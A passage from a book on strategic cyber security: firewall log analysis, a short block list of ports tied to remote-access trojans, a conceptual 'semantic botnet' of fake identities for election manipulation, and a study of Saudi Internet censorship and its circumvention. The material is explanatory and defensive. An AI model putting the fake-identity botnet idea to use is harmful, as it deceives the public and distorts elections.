1837, in many ways the Information Revolution has just begun. The World Wide Web, for example, is just twenty years old.91 As our use of and dependence on the Internet have grown, however, computer secu- rity has quickly evolved from a purely technical discipline to a geopolitical strategic concept. At the 2010 NATO Summit in Lisbon, twenty-eight world leaders declared that cyber attacks now threaten international prosperity, security, and stability. Moreover, in the future the consequences of a cyber attack may rise because the threat will affect national critical infrastructures of every kind. In our homes, the use of “smart grid” networks is proliferating. And in our militaries, the production of IP-enabled munitions, such as unmanned aircraft, is outpacing that of their manned counterparts, meaning that even warfare is now managed remotely via the Inter- net.92 As national security thinkers attempt to defend their interests in cyberspace, a key to success will be to bridge the gap between cyber strategy and cyber tactics. Goals such as the security of national critical infrastructures and strategies like military deterrence and arms control demand a greater appreciation for the capabilities and challenges of computer scientists, who fight their battles on the front lines of cryp- tography, intrusion detection, reverse engineering, and other highly technical dis- ciplines. 88 “Active Engagement...” 2010. 89 NATO is much larger than its 28 Member Countries. It also encompasses 22 members of the Euro- Atlantic Partnership Council, 7 Mediterranean Dialogue, 4 Istanbul Cooperation Initiative, and 4 Contact Countries. 90 Three areas of obvious collaboration could be in network security, law enforcement and counterintelligence. 91 The Web was conceived at the European Organization for Nuclear Research (CERN) in 1990. 92 Orton, 2009. 32 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY The quest for strategic cyber security began in Cambridge and paused most recently in Lisbon, but for emerging policies to reflect technical realities, policymakers must return to Cambridge. 33 Cyber Security: A Technical Primer 3. CYBER SECURITY: A TECHNICAL PRIMER Chapter 2 demonstrated that cyber security has evolved from a purely technical dis- cipline to a strategic, geopolitical concept that can directly impact national security. Nonetheless, at the tactical level cyber security remains a highly technical discipline that is difficult to understand for those without a formal education in computer sci- ence or information technology. Therefore, before this research examines the real-world impact of cyber attacks and explores strategic threat mitigation strategies, Chapter 3 will introduce the reader to the basics of cyber security analysis, macro-scale hacking, the case-study of Saudi Arabia, and cyber defense exercises. Hopefully, a greater appreciation for the chal- lenges of computer science will help policy makers to bridge the gap between tacti- cal and strategic cyber security thinking. Cyber Security Analysis To introduce the reader to the topic of cyber security analysis, the author will briefly analyze his own personal firewall log.93 Almost everyone today has a personal or “host” firewall installed on his or her com- puter. It protects both the computer and its user from unwanted network activ- ity. Technically speaking, it accepts or rejects incoming data “packets.” Professional computer security analysts examine the log files, or recorded events, of firewalls and other computing devices for signs of suspicious activity. Most of the recorded network traffic is non-malicious even if it may be unsolicited and unwanted. For example, an Internet Service Provider (ISP) may “scan” its cli- ents’ computers for policy violations such as hosting an unauthorized Web server. Businesses go to extraordinary and sometimes unethical lengths to gather in-depth information about computers and their users, such as which operating system they use and what type of movies they prefer, for advertising purposes. Firewall logs can be viewed in many different ways. A security analyst can sort them by country, for example, to identify blocked traffic by world geography.94 93 This analysis is of a Zone Alarm personal firewall log that contains 12,700 record entries from 31 DEC 2000 to 23 JAN 2003. 94 My firewall had blocked traffic from over 70 foreign countries. 34 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY COUNTRY FAILED ACCESS Canada 121 Brazil 115 France 93 Taiwan 46 Poland 21 Countries robust in international network infrastructure, such as Canada and Tai- wan, will always appear in network traffic. Connections to or from more isolated countries, especially when no logical business relationship can be identified, require close scrutiny. For a more detailed view, IP addresses can be associated with a specific network. IP ADDRESS FAIL OWNER 141.76.XX.XX 25 Tech Univ Informatik, Dresden, Germany 203.241.XX.XX 18 Samsung Networks Inc., Seoul, Korea 212.19.XX.XX 12 Tribute MultiMedia, Amsterdam, Netherlands 61.172.XX.XX 8 CHINANET Shanghai province network 192.58.XX.XX 5 University of California, Berkeley Unfortunately for the analyst, most computer network logs contain many potential threats to investigate. The IP addresses listed in a log file are not always the true source of network traf- fic. Obtaining reliable “attribution” is one of the most frustrating aspects of cyber attacks, as hackers often forge or “spoof” the IP address of an unwitting, third party network. This is possible because Internet routers, for the sake of efficiency, nor- mally only use a data packet’s destination address to forward it across the Internet and disregard the source address. How to improve attribution is one of the hottest topics in cyber defense research. At a minimum, security analysts must use a combination of technical databases such as WHOIS,95 non-technical Web tools such as a good Internet search engine, and common sense, which helps to verify whether the discovered network traffic cor- responds logically to real life activity. 95 WHOIS can tell you the owner of an Internet Protocol (IP) address. 35 Cyber Security: A Technical Primer Firewalls are designed to block many types of suspicious traffic automatically, and often they will prohibit everything that a user does not specifically allow. For ex- ample, there are over 65,000 computer “ports,” or points of entry, into an operating system. By default, my firewall blocked access to the following notorious ports that are associated with “trojans,” or hacker programs that allow illicit remote access to a victim computer. PORT TROJAN 1243 SubSeven 1524 Trinoo 3128 RingZero 27374 Ramen 31337 Back Orifice Blocking known malicious traffic seems easy enough, but hackers are adept at sub- verting whatever connections are allowed onto your computer. For example, the Internet Control Message Protocol (ICMP), commonly used for network manage- ment, is fairly simple in design and would seem amenable to security observation. However, hackers routinely use it for target reconnaissance, Denial of Service (DoS) attacks, and even as a covert channel for communications. Analyzing outbound traffic is just as important as inbound traffic, if not more so. To begin, a security analyst should sort outbound firewall log data by the names of the programs installed on the computer. He or she should verify that legitimate programs are only contacting legitimate IP addresses, e.g., Microsoft Word should only contact Microsoft. All unrecognizable programs should be examined closely. Often, quick Internet searches will suffice. However, if there is no proper (and reassuring) description for it on the Web, the program should be disallowed from contacting the Internet, if not uninstalled from the computer altogether. My firewall log showed that one unidentifiable program, ISA v 1.0, had tried to con- tact a remote computer in both China and France. I could not find any information about the program on the Web, so deleted it from the system. PROG IP ADDRESS DESTINATION DATE ISA 1.0 61.140.X.X Chinanet Guangdong province 7/30/2001 ISA 1.0 193.54.X.X Universite Paris, France 8/10/2001 36 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY Another program, WINSIP32.EXE, had tried three times to connect to a U.S. govern- ment agency, the General Services Administration (GSA).96 A further red flag was that the name of the program was suspiciously close to WINZIP, a common program used to minimize file size for transmission via the Internet. I tried unsuccessfully to discuss the issue with a GSA system administrator, who almost certainly managed a hacked network. DATE TIME PROGRAM REMOTE IP ADDRESS 2/18/2002 20:17:06 WINSIP32.EXE 159.142.XX.XX 3/15/2002 07:06:17 WINSIP32.EXE 159.142.XX.XX 3/20/2002 14:54:39 WINSIP32.EXE 159.142.XX.XX The level of technical expertise and experience required to thoroughly evaluate computer network security is high. An analyst must understand hardware and soft- ware, as well as Internet protocols, standards, and services. Security is an art as well as a science that involves common sense, original research, risk management, and a willingness to pick up the phone and speak with unknown system administrators. In fact, the problem of attribution is the most complicating factor in cyber threat analysis. If the attacker is careless and leaves a large digital footprint (e.g., his home IP address), law enforcement may be able to take quick action. If the cyber attacker is smart and covers his digital tracks, then deterrence, evidence collection, and pros- ecution become major challenges. In almost all cases, computer log files alone do not suffice. Unmasking a cyber at- tacker requires the fusion of cyber and non-cyber data points. Investigators must enter the real world if they want to arrest a computer hacker. There will always be clues. If the goal is extortion, where is the money to be paid, and is there a point- of-contact? If the threat is Denial of Service, the target could ask for a proof of ca- pability. The point is to generate a level of interactivity with the cyber threat actor that might be used against it. Further, cross-checking suspect information against trusted sources is always one of the best defenses. In this chapter, the author has tried to make clear that catching a computer hacker is not a simple chore. Cyber attackers are often able to hide in network traffic and remain anonymous to their victims. Still, this does not mean that cyber attacks can easily rise to the level of a strategic threat; but it does mean that, when they do, national se- curity leaders can be in the awkward position of not knowing who is attacking them. This is the topic of the next chapter. 96 GSA supports the basic functioning of other federal agencies. 37 Cyber Security: A Technical Primer Macro-Scale Hacking If one successfully attacked computer can pose a security threat, what if an adver- sary could secretly command thousands or even millions of computers at once? At what point does a tactical cyber attack become a strategic cyber attack? In fact, these are no longer academic questions. The Conficker worm is now esti- mated to have compromised at least seven million computers worldwide,97 leaving an unknown cyber attacker, in theory, in control of their aggregated computer pro- cessing power. “Botnets” are networks of hacker-controlled computers that are organized within a common Command and Control (C2) infrastructure.98 Hackers often use botnets to send spam, spread malicious code, steal data, and conduct Denial of Service (DoS) attacks against other computers and networks around the world. In the future, botnets may be used to conduct more complex and far-reaching at- tacks, some of which could have national security ramifications. One scenario, dem- onstrated in 2009 by the author and Roelof Temmingh,99 envisioned a “semantic botnet,” composed of a virtual army of randomly-generated and/or stolen human identities,100 which could be used to support any personal, political, military, or ter- rorist agenda.101 Such a cyber attack is possible because humans now communicate via ubiquitous software that is by nature impersonal and non-interactive. A botnet made up of thousands or millions of computers could be used to post a wide range of informa- tion, opinions, arguments, or threats across the Internet. These could target a per- son, an organization, or a nation-state and promote any political or criminal cause. The amplification power of the Internet guarantees that not every victim must fall for the scam; a certain percentage will suffice. Most of the information found on the Internet is open to theft and/or abuse. Hack- ers can steal any type of file, text, or graphics and alter it for nefarious purposes. Although effective authentication technologies such as digital signatures exist, they are rarely used for common communications. 97 Piscitello, 2010. 98 Freiling et al, 2005. 99 Temmingh is the founder of Sensepost and Paterva. Their 2009 paper was presented at the CCD CoE Conference on Cyber Warfare. 100 Ramaswamy, 2006. In 2006, identity theft was already the fastest-growing crime in the United States, affecting almost 20,000 persons per day. Acoca, 2008. Nearly a third of all adults in the U.S. reported that security fears had compelled them to shop online less or not at all. 101 Geers & Temmingh, 2009. 38 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY The calculated, political manipulation of information, which is today most often found in the form of computer data, is not uncommon. In 2006, Reuters news ser- vice, prior to publishing a photo, darkened the sky over Beirut to make an Israeli air raid appear more dramatic;102 in 2008, newspapers published a photo of an Iranian missile test in which an extra missile had been added;103 and in 2010, Al-Ahram newspaper in Cairo printed a photo after it had switched the places of Presidents Obama and Mubarak at the White House.104 Without some kind of technical means of verification, it can be difficult even for writers and photographers to know that their own work has not been modified. Distinguishing fact from fiction – and humans from robots – is difficult online, espe- cially in a timely and accurate way. Hackers will exploit the maze-like architecture of the Internet, and the anonymity it offers, to make threat evaluation slow and labor-intensive. In short, there is no quick way to determine whether a virtual person really exists. Over time, a fraudulent virtual identity would even come to have a “life” of its own as it posts a variety of information to the Web. Historically, computers have had great difficulty impersonating a human being. In 1950, Alan Turing wrote that even the “dullest” human could outperform a com- puter in a conversation with another human, and that a machine could not provide a “meaningful answer” to a truly wide variety of questions. The celebrated Turing Test was born.105 However, Internet communications are increasingly impersonal conversations. This creates an attack space for a hacker because there is normally insufficient content and interactivity to evaluate whether a particular message was posted by a human or a machine. The average computer programmer could never pass the Turing Test, but he or she could write a program to update the world via Twitter on how a fraudulent Web user is spending her day, or what she thinks about a political leader. Every day, email is losing ground to new media such as YouTube, Facebook, and Twitter. Although the opportunity to cross-examine someone by email is limited, it does exist; email is typically interactive, one-to-one correspondence.106 The new communication models are not one-to-one, but one-to-many or many-to-one. Users feel empowered as they quickly become a prolific producer of digital information; 102 Montagne, 2006. 103 Nizza & Lyons, 2008. 104 “Doctoring photos...” 2010. 105 Oppy & Dowe, 2008. 106 Internet Relay Chat (IRC) is also interactive, but it was never a mainstream form of communication. 39 Cyber Security: A Technical Primer however, much of the output is trivial, and there is a loss of intimacy and interactiv- ity. This benefits a cyber attacker, who can push information to the Web that would not be subject to serious cross-examination. Due to the speed of modern communications, humans do not have much time to analyze what they read on the Web. Was a message posted by a human or a ma- chine? It will be hard to know when even highly idiomatic language can be stolen and repackaged by a hacker. And Natural Language Processing, or the computer analysis of human languages, is still unproven technology that requires significant human oversight to be effective.107 It is increasingly difficult to separate cyberspace from what we think of as the real world; human beings respond to stimuli from both. If a botnet were used to promote a political or military goal, once a certain momentum toward the desired goal were attained – that is, if real people began to follow the robots – the attacker could then begin to scale back the Artificial Intelligence (AI) and reprogram the botnet for its next assignment. It may not matter if the botnet campaign could eventually be discovered and dis- credited. In time-sensitive contexts such as an election it might be too late. The at- tacker may desire to sway public opinion only for a short period of time. In the week before an election, what if both left and right-wing blogs were seeded with false but credible information about one of the candidates? It could tip the balance in a close race to determine the winner. Consider the enormous impact of the 2004 Madrid train bombings on Spain’s national elections, which took place three days later.108 Roelof Temmingh, who is a brilliant programmer, wrote a complex, copy-and-paste algorithm to collect biographical information and facial images from various web- sites and used them to construct skeletons of randomized, artificial personalities. Personal profiles, including categories such “favorite movie,” were added based on details from popular news sites. In future versions of the software, these fraudulent identities would begin to interact with the Web. This is the most difficult step, but far from impossible to implement. Over time, each new identity would assume a virtual “life” of its own. Phishing attacks are successful even though they normally employ only one layer of deceit – the website itself. Intelligent attackers can weave a much more intricate web of deception than that; an entire organization could successfully be faked if the time were taken to invest in enough third-party references. 107 Author interview with Temmingh, 2009. 108 “Europe...” 2004. 40 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY One of the primary reasons that such a cyber attack could succeed is the growing power of Web-enabled Open Source Intelligence (OSINT). The average Web user to- day has access to a staggering amount of information. Beginning with only a name, a good OSINT researcher can quickly obtain date-of-birth, address, education, medi- cal records, and much more. Via social networking sites, the attacker may even dis- cover intimate details of a person’s life, including where he or she might physically be at any given moment. Eventually, a web of connections to other people, places, and things can be constructed. Computer hackers are not only able to conduct OSINT via the Web, but also exploit the technical vulnerabilities of the Web to target their victims. Hackers “enumerate,” or conduct in-depth technical reconnaissance, against cyber targets, for information such as an IP address, a timestamp, or other “metadata” that can be exploited in the real world. A semantic botnet could enhance the credibility of any agenda. For example, if the target were an international energy corporation, OSINT might reveal a wide range of attack vectors: disgruntled employees, friction with indigenous populations, whistle blowers, or ongoing lawsuits. The botnet army could be used to target all of the above, via blogs, posting comments to news articles, sending targeted email, etc. (The corporation, of course, could hire its own botnet army in retaliation.) The chal- lenge for the attacker would be to make the communications as realistic as possible while making identity verification a complex and time-consuming challenge. Given the size of cyberspace and the speed at which data packets travel, one of the primary ways to combat a macro-scale cyber threat is by statistical analysis. A secu- rity analyst must use advanced mathematics to identify and counter cyber threats. In an election, humans typically vote in a “bell curve.” Some people are extremists, but most tend to vote for a party somewhere in the middle of the political spectrum. If a botnet controller does not simulate this tendency, statistical analysis of network traffic and internal databases can quickly reveal divergences that could suggest a tainted vote. These include a randomized voting preference (i.e., too many votes on the extremes), demographic anomalies, or strange patterns such as too many votes during normal human working hours. Technical data should not conflict with a security analyst’s common sense. IP ad- dresses must be scattered realistically within the voting space. Internet browsers should manage website visits as a human would, pausing for images to load and allowing time for a user to read important information. Automated computer pro- grams may move too quickly and “mechanically” from one data request to the next. A security analyst should investigate anomalies for other non-human properties. 41 Cyber Security: A Technical Primer The primary challenge to a statistical cyber defense strategy is a mathematically- gifted attacker. In theory, it is possible to give a botnet army a range of dynamic characteristics that are based on real-time analysis of current news and entertain- ment media. However, this is not easy to program, and an attacker can never be completely sure what a security analyst is looking for. An attack always requires some guesswork and miscalculation. Over time, this is a game of cat-and-mouse. A security analyst can write a sophisti- cated algorithm that correlates many factors, such as name, vote, geography, educa- tion, income, and IP address, to known or expected baselines. However, a botnet controller can do the same. One pitfall for the attacker is that, if the bots vote too realistically, or if there are too few bots involved in the attack, there should be a correspondingly small impact on the election. Moreover, in order to mirror real Internet traffic patterns, a botnet needs to be both large and sophisticated. Of course, there are some purely technical investments to be made, including the increased use of Public Key Infrastructure (PKI), biometrics and Internet Protocol version 6 (IPv6). Neural networks, for example, have played a considerable role in reducing credit card fraud.109 For important business transactions, the simple use of a live video feed is beneficial. Unfortunately, the use of good cyber defense tactics and technologies is rare. Most system administrators do not have the time, expertise, or staff to undertake a so- phisticated analysis of their own networks and data. For the foreseeable future, much of the burden is on individual web users to recognize threats emanating from cyberspace and take action (or inaction) to counter them. This chapter has tried to argue that macro-scale cyber attack threats are serious, but most, such as the theoretical botnet army described in this chapter, do not yet pose a threat to national security. It is possible to create one fraudulent web identity, so millions of them could already exist. However, what makes many categories of cyber attack easy – the ubiquity, vulnerability, and anonymity of the web – can also lessen the credibility of a cyber threat. Good OSINT can lead to a significant bluff. To a large extent, the most dangerous threat actors are those with the ability to bridge the gap between the virtual and physical worlds. Thus, there are two impor- tant categories of cyber attacker: those who have “reach” into the real world, and those whose threats are limited to cyberspace. The trouble from a strategic, national 109 Rowland, 2002. 42 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY security perspective is that foreign intelligence services and militaries possess that kind of reach, which obviously can make a cyber attack much more serious. All things considered, cyber attacks have the potential to rise to the level of a stra- tegic threat. Therefore, they must be addressed by national security planners. The next chapter will examine how one nation-state, Saudi Arabia, has attempted to miti- gate this threat at the national level. Case Study: Saudi Arabia Every country has a unique perspective on security, especially a country as tradi- tion-bound as Saudi Arabia. But at the technical level, the quest for strategic cyber security mostly comprises the exact same elements: computer hardware, software, legal authority, system administrators, and cyber security experts. Therefore, Saudi Arabia, where there is a strong perception of a close connection between computer security and national security, provides an instructive example. The Saudi government censors a wide range of information based on a mix of mo- rality, security, and politics. It has built a national firewall designed to keep “inap- propriate” web content out of the country, inaccessible from anywhere within its borders, at any time, in public or private spaces. However, from both a semantic and a technical perspective, it is difficult, especially in authoritarian countries, to bal- ance the public’s need and desire for information with the government’s need and desire to maintain information control. Myriad technologies exist that can circumvent or even punch a hole straight through the Saudi national firewall. These include international telephone calls to foreign Internet Service Providers (ISPs), hacking Internet protocols, pseudonymous email accounts and remailers, direct-to-satellite access, peer-to-peer networking, anony- mous proxy servers, encryption, steganography, and more. As censorship circum- vention tools, all have strengths and weaknesses, and none of them is perfect. Specific software applications are not prohibited in the Kingdom per se. For ex- ample, the King Abdul-Aziz City for Science and Technology (KACST) explained that Internet chat programs are allowed unless the software in question is specifically linked to the distribution of pornography.110 Content-filtering on a national scale is a monumental task. The Saudi government built a national proxy server111 at KACST to surveil the nation’s Internet traffic for 110 “The Internet...” Human Rights Watch. 111 Or a single, centralized connection between Saudi Arabia and the outside world, capable of censoring undesirable information. 43 Cyber Security: A Technical Primer “appropriateness” according to Muslim values, traditions, and culture.112 Internet Service Providers must conform to these rules in order to obtain an operating li- cense.113 Such laws are easier to enforce in some countries than others. In Saudi Arabia, the effort is greatly facilitated by the fact that the entire telecommunications network, including international gateways, are owned and operated by the government.114 Saudi Arabia is home to some of the most educated citizens in the Arab world. Fur- thermore, Saudis routinely communicate with each other and with the outside world on a modern and sophisticated telecommunications infrastructure.115 The Kingdom has been connected to the Internet since 1994, but until 1999 access was restricted to state, academic, medical, and research facilities.116 Today, home accounts are wide- spread, and there are hundreds of cyber cafes in the country. Men and women are both active Web surfers, and their average daily time online is over three hours.117 The amount of data processed by KACST every day is so great that the national firewall took two years to build. Due to the sensitive nature of its mission, the entire project is housed under one roof. Technicians are imported from places like the USA and Scandinavia,118 but the censors handing out directives regarding what Web content to block are exclusively Saudi Arabian.119 KACST is analogous to a national post office through which all domestic and in- ternational correspondence must travel. There are now dozens of private ISPs in Saudi Arabia.120 However, KACST is the country’s only officially sanctioned link to the Internet, and all ISPs must route their traffic through its gateway.121 Electronic data is unlike traditional mail in that it is broken into small packets to increase the speed with which it travels through cyberspace, but these packets are reassembled at KACST for inspection.122 From the beginning, KACST’s goals were ambitious. Its president, Saleh Abdulrah- man al-‘Adhel, said that, before his organization would turn on the switch to the 112 Whitaker, 2000. 113 “Saudi Arabian Response...” Virginia Tech. 114 “Cybercensorship...” Human Rights Watch. 115 Dobbs, 2001. 116 Gavi, 1999 and 2002. 117 “Saudi Arabia to double...” 2001. 118 Gardner, 2000. 119 “SafeWeb...” 2000. 120 “The Internet...” Human Rights Watch. 121 “Losing...” 2001. 122 “How Users...” Human Rights Watch. 44 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY Internet, KACST would try to eliminate all of the Internet’s negative aspects.123 How- ever, KACST technicians knew that they could not accomplish these goals without strictly regulating the behavior of individual users. Therefore, they forbade the sending or receiving of encrypted information as well as the sharing of usernames and passwords.124 Saudi Arabia’s first line of defense is a list of banned URLs that are explicitly denied when requested by a user from a browser window.125 Many websites commonly ac- cessed outside Saudi Arabia are forbidden. For those websites that are allowed through the filter, Web users access “cached” copies of Internet sites on government-controlled web servers physically located in the country. When a user attempts to visit a website that has not been evaluated by KACST cen- sors, a second stage of the content-filtering system is activated. Software automati- cally examines the site’s content for prohibited words before the request is granted. One of the first is the presence of a “stop word” on the homepage.126 A list of banned topics stops the request from getting through the KACST proxy server. There are at least thirty categories of prohibited information,127 and the number of banned sites goes well into the hundreds of thousands.128 When access to a site is denied, either because its URL is already on the banned list or it is found to contain objectionable material, a pop-up warning window ap- pears on the screen. It informs the user in both Arabic and English, “Access to the requested URL is not allowed!”129 It also informs the user that all Web requests are logged.130 The second warning is important, because law enforcement can, with an IP address, find the computer terminal in question and possibly also locate the end user. This is why in many countries publicly available Internet terminals that allow for easy, anonymous web surfing, are scarce.131 The two-stage system described above is the one advertised by the Saudi govern- ment. However, there are more stifling approaches to censorship, such as the use of a “whitelist,” of which the Saudi government has been accused. Blacklists ban 123 “Saudi Arabian Response...” Virginia Tech. 124 “The Internet...” Human Rights Watch. 125 “The Internet...” Human Rights Watch. 126 “Government-Imposed...” 127 “Losing...” 2001. 128 “Saudi Arabia to double...” 2001. 129 Lee, 2001. 130 Gavi, 1999 and 2002. 131 “How Users...” Human Rights Watch. 45 Cyber Security: A Technical Primer material based on the fact that it has been officially reviewed and deemed to contain inappropriate content.132 Whitelisting, a far stricter policy, takes a dramatically dif- ferent approach, banning everything that is not explicitly allowed.133 In other words, there is no need for a two-stage system. When a user tries to visit an unfamiliar webpage, there is simply no response. The only accessible websites have been pre- approved by the government. Some reporting has quoted “industry insiders” as stat- ing that an internal KACST committee officially sanctions a list of “desirable” sites, and all others have been banned by default.134 With such power over Saudi networks, KACST has the ability to do far more than simple website content filtering. In theory, KACST network administrators can read, block, delete, or alter network traffic based on email address, IP address, or key- words in the message. For example, if “royal family” and “corrupt” were found to exist in the same sentence, such a message could be flagged for closer inspection, perhaps by law enforcement authorities.135 Technical support for such a large system requires an enormous effort. At least ten companies from four foreign countries have played a role in its administration, in- cluding Secure Computing, Symantec, Websense, Surf Control, and N2H2.136 Secure Computing’s software is called SmartFilter. Saudi Arabia began using it as soon as the country was officially connected to the Internet in February 1999. SmartFilter ships with default content categories like pornography and gambling, but it was selected by KACST due to its overall ease of customization. An example of widely-used, open source censorship software is DansGuardian, which is advertised as sophisticated, free Internet surveillance, to create “a cleaner, safer, place for you and your children.” Its settings can be configured from “un- obstructive” to “draconian,” and it can filter data by technical specifications such 132 Such as the words “government” and “corrupt” appearing in the same sentence. From a censor’s perspective, the problem with blacklisting is that it can be easy to fool the system, for example by simply misspelling those words: i.e. “govrment” and “korrupt.” 133 “Government-Imposed...” 134 “The Internet...” Human Rights Watch. 135 “How Users...” Human Rights Watch. 136 There are many content filtering software products to choose from, including 8e6, CensorNet, Content Keeper, Cyber Patrol, Cyber Sentinel, DansGuardian, Fortinet, Internet Sheriff, K9, N2H2, Naomi, Net Nanny, SmartFilter, squidGuard, Surf Control, We-Blocker, Websense, and more. Each can be configured for a single schoolroom or an entire nation-state. 46 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY as URL, IP, domain, user, content, file extension, and POST. There are many more advanced features to choose from.137 Privacy advocates criticize the software companies that create such tools, but indus- try representatives counter that their products are politically neutral. According to an executive at Secure Computing, “We can’t enforce how they use it.”138 Pornography is the first topic Saudi authorities mention when asked about Internet censorship. And KACST claims that the battle against pornography has been suc- cessful.139 But according to human rights groups, Saudi Arabia also disallows many political sites.140 A case in point is the website of a London-based dissident group called the Move- ment for Islamic Reform in Arabia (MIRA) (www.islah.org). MIRA’s IP address was on KACST’s list of banned sites, which was apparent in MIRA’s computer log files. MIRA decided to change its IP address, and immediately the site was available again inside Saudi Arabia. (MIRA did not know why the second stage of KACST’s system was not able to block the website based on content.) Eventually, the new IP address was discovered by KACST technicians, who blocked it again. This process repeated itself many times over; on average, MIRA was able to stay ahead of the government for about a week at a time. Its challenge was to make interested Saudi citizens aware of its new address before the block was in place again.141 MIRA was not satisfied with this protracted game of hide-and-seek, so its webmas- ters developed better solutions. First, the site randomized its port numbers, adding more than 60,000 possible Web addresses (equal to the number of available ports on a computer) to each new IP address. This change made it more difficult for KACST to do its detective work, since the Web requests leaving Saudi Arabia for MIRA were not necessarily headed for port 80, which normally hosts websites.142 Next, MIRA developed a novel way to let its followers know the new address. Its email server, islah@islah.org, would respond to a blank email with an automatic reply, containing the IP and port number. From Saudi Arabia, the blank emails were sent from webmail accounts such as Hotmail, whose secure, web application login 137 Advanced features include PICS labeling, MIME type, regular expressions, https, adverts, compressed HTML, intelligent algorithm matches for phrases in mixed HTML/whitespace, and phrase-weighting, which is intended to reduce over- and under-blocking. Furthermore, there is a whitelist mode and stealth mode, where access is granted to the user but an alert is nonetheless sent to administrators. 138 Lee, 2001. 139 Gardner, 2000. 140 “The Internet...” Human Rights Watch. 141 “Losing...” 2001. 142 Dobbs, 2001. 47 Cyber Security: A Technical Primer process made it impossible for KACST to see where the emails were going or what information they contained. MIRA’s head, Dr. Saad Fagih, said that following these changes, the number of Saudi visits to his site rose to 75,000 per day, and that before long KACST abandoned its efforts to block the site. 143 From a technical perspective, it is a challenge even to begin to censor the Internet. But to evaluate frequently changing websites for their moral and political content is a monumental task. Computer software can recognize individual words, but under- standing how they are used by an author in a given sentence or article is much more difficult. Words such as “breast” can be used to block sexual references to women, but the system may also block recipes for cooking chicken breasts. Likewise, it is difficult to avoid sexual references when offering medical advice related to sexually- transmitted diseases (STDs).144 Critics say that the decision to censor information at all leads to over-censorship.145 For example, in practice it is convenient to block an offensive website by IP ad- dress. However, this means that any other website sharing the same IP will also be blocked.146 An attacker can exploit this – and conduct a denial-of-service attack against a target website – simply by “poisoning” its webserver with prohibited mate- rial. Ideally, all censored information should be double-checked by real people to make sure that the system is working properly, but that may not always be practical or even possible. OpenNet Initiative researchers claim that blocked sites include material related to religion, health, education, humor, entertainment, general reference works, com- puter hacking, and political activism. But Saudi authorities argue that their system has safeguards against both over- and under-censorship. KACST provides forms for users to request additions to and removals from the blacklist, and they say hundreds of requests are received each day asking for new sites to be banned, of which about half are subsequently blacklisted. Thus, based on user feedback, around 7,000 sites a month are added to the list. Over 100 requests to unblock sites also arrive each day, many based on a belief that the system has mischaracterized certain web con- tent, but no statistics were offered regarding how many are unblocked.147 143 “Losing...” 2001. 144 “Government-Imposed...” 145 Whitaker, 2000. 146 “Government-Imposed...” 147 Lee, 2001. 48 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY On balance, pornography is easier to censor than politics. Vulgar words can simply be removed from network traffic, but software cannot readily determine whether political keywords are used in a positive or negative way by an author. Furthermore, foreign computer technicians are also of little help since the author’s intention may have been positive feedback, constructive criticism, humor, irony, sarcasm, or satire. A proper evaluation requires subject matter experts who are fluent in the local lan- guage, a naturally expensive and time-consuming undertaking. The problem for censors is that users who are intent on obtaining forbidden in- formation often find a way to get it. And Saudi citizens are no different. Some ac- cess the Internet simply by finding computer terminals they assume are not being monitored.148 Others make expensive telephone calls to unrestricted foreign ISPs.149 Increasingly, Saudi citizens have acquired direct-to-satellite Internet access, with dishes small enough to fit discreetly on a balcony or rooftop.150 Blocked websites “mirror” their content on known accessible sites, or users forward the forbidden content by email as an attached file.151 There are many ways to send email that offer an increased level of security, and all of them have been used in Saudi Arabia. Many webmail services are free and do not require users to register with a real name.152 “Remail” services attempt to remove all identifying user information, try not to keep log files of their activity, and route their encrypted email through other remailers before reaching its destination. A govern- ment censor typically only knows that a user has visited a remailer site, but cannot obtain a copy of the message or know its recipient.153 Cutting edge peer-to-peer networking presents another major challenge to Internet censors. It employs virtual private networking (VPN) technology in an attempt to make file-sharing between computer users invisible to firewalls and content-filtering systems such as that used in Saudi Arabia.154 Saudi Web surfers have often made use of anonymous proxy servers,155 which make web requests on a user’s behalf, by substituting their own IP for that of the user. Unwanted tracking software, such as a browser “cookie,” is also disabled in the pro- 148 “How Users...” Human Rights Watch. 149 Whitaker, 2000. 150 “How Users...” Human Rights Watch. 151 ““The Internet...” Human Rights Watch. 152 “How Users...” Human Rights Watch. 153 “How Users...” Human Rights Watch. 154 Lee, 2001. 155 Dobbs, 2001. 49 Cyber Security: A Technical Primer cess. APS IPs are of course blocked by KACST,156 but such services try to make such blocking as difficult as possible.157 Today, strong encryption, such as Pretty Good Privacy (PGP), is both reliable and cheap. PGP’s design, which couples a sophisticated encryption algorithm with a se- cret passphrase, works so well that it has come to play an important role in provid- ing privacy to individual web users around the world. As a result, many countries, including Saudi Arabia, disallow its use.158 Information on computer hacking, which can give ordinary citizens an upper hand in figuring out how to beat censorship, is often banned.159 But no specific tools can be recommended because none of them is perfect.160 New software tools are frequently released, some of which are specifically designed to support anti-censorship movements. Psiphon, for example, is easy to use and difficult for governments to discover. It works like this: a computer user in an un- censored country installs Psiphon on his or her computer and then allows a user in a censored country to open an encrypted connection through their computer to the Internet. Connection information, including a username and password, is passed by telephone, posted mail, or human contact. In summary, network communications are highly vulnerable to surveillance, espe- cially when all traffic flows through one state-owned system. The Saudi national firewall has been successful in keeping ordinary users from visiting many anti- Muslim or anti-Saudi websites. However, it is extremely difficult for any govern- ment to prevent those who are willing to accept the risk of arrest from conducting prohibited activities. In the long run, large-scale Internet control may be doomed to failure. Censorship tends to inhibit economic development, and governments are often simply too far behind the technology curve. New websites appear every minute, and any one of them – or all of them – are potentially hostile. Saudi officials publicly acknowledge that it is hard to keep up.161 This chapter sought to demonstrate that managing Internet security is highly prob- lematic, even for a willing and well-resourced government. But from a strategic secu- rity perspective, there are concerns that lie above and beyond political criticism and 156 “SafeWeb...” 2000. 157 “SafeWeb...” 2000. 158 “How Users...” Human Rights Watch. 159 Gavi, 1999 and 2002. 160 “How Users...” Human Rights Watch. 161 Gardner, 2000. 50 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY pornography: to wit, the protection of national critical infrastructures. Are they safe from cyber attack? This is the topic of the next chapter, which examines a hypotheti- cal cyber terrorist attack against an electricity plant. Modeling Cyber Attack and Defense in a Laboratory Many national security thinkers fear that the age of cyber terrorism and cyber war- fare is coming soon. And the target list seems to grow by the day: electricity,162 water, air 